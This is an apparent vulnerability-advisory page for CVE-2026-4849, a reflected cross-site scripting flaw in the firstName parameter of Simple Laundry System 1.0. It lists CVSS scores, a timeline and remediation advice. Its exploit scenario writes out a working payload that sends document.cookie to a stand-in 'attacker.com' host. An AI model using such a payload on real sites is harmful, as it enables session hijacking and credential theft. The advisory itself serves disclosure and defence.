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PHP CVE-2026-4849

| EUVD-2026-16138 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-26 VulDB GHSA-wgxm-cpjf-429r
2.1
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

6
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
5.3 (MEDIUM) 2.1 (LOW)
PoC Detected
Apr 03, 2026 - 17:52 vuln.today
Public exploit code
EUVD ID Assigned
Mar 26, 2026 - 08:15 euvd
EUVD-2026-16138
Analysis Generated
Mar 26, 2026 - 08:15 vuln.today
CVE Published
Mar 26, 2026 - 07:41 nvd
MEDIUM 5.3

DescriptionCVE.org

A vulnerability was identified in code-projects Simple Laundry System 1.0. This impacts an unknown function of the file /modify.php of the component Parameter Handler. The manipulation of the argument firstName leads to cross site scripting. The attack may be initiated remotely. The exploit is publicly available and might be used.

AnalysisAI

A reflected cross-site scripting (XSS) vulnerability exists in code-projects Simple Laundry System version 1.0 via the firstName parameter in the /modify.php file. An attacker can inject malicious JavaScript that executes in a victim's browser when they visit a crafted link, potentially leading to session hijacking, credential theft, or malware distribution. …

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Vulnerability AssessmentAI

Risk Assessment While the CVSS v4.0 score of 5.3 appears moderate, the actual real-world risk is elevated due to multiple exploitation signals: a publicly available proof-of-concept exploit significantly lowers the barrier to attack execution; the attack vector is network-based with low complexity and no authentication required; exploitation is marked as 'P' (Proof of Concept exists), indicating practical feasibility. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a malicious URL to the vulnerable /modify.php endpoint with a JavaScript payload injected into the firstName parameter (e.g., /modify.php?firstName=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and sends it via phishing email to a laundry system user. When the user clicks the link while logged in, the JavaScript executes in their browser, exfiltrating session cookies or credentials to the attacker's server. …
Remediation The primary remediation is to apply a security patch from code-projects if available; check https://code-projects.org/ for updates to version 1.0 or later. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

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CVE-2026-4849 vulnerability details – vuln.today

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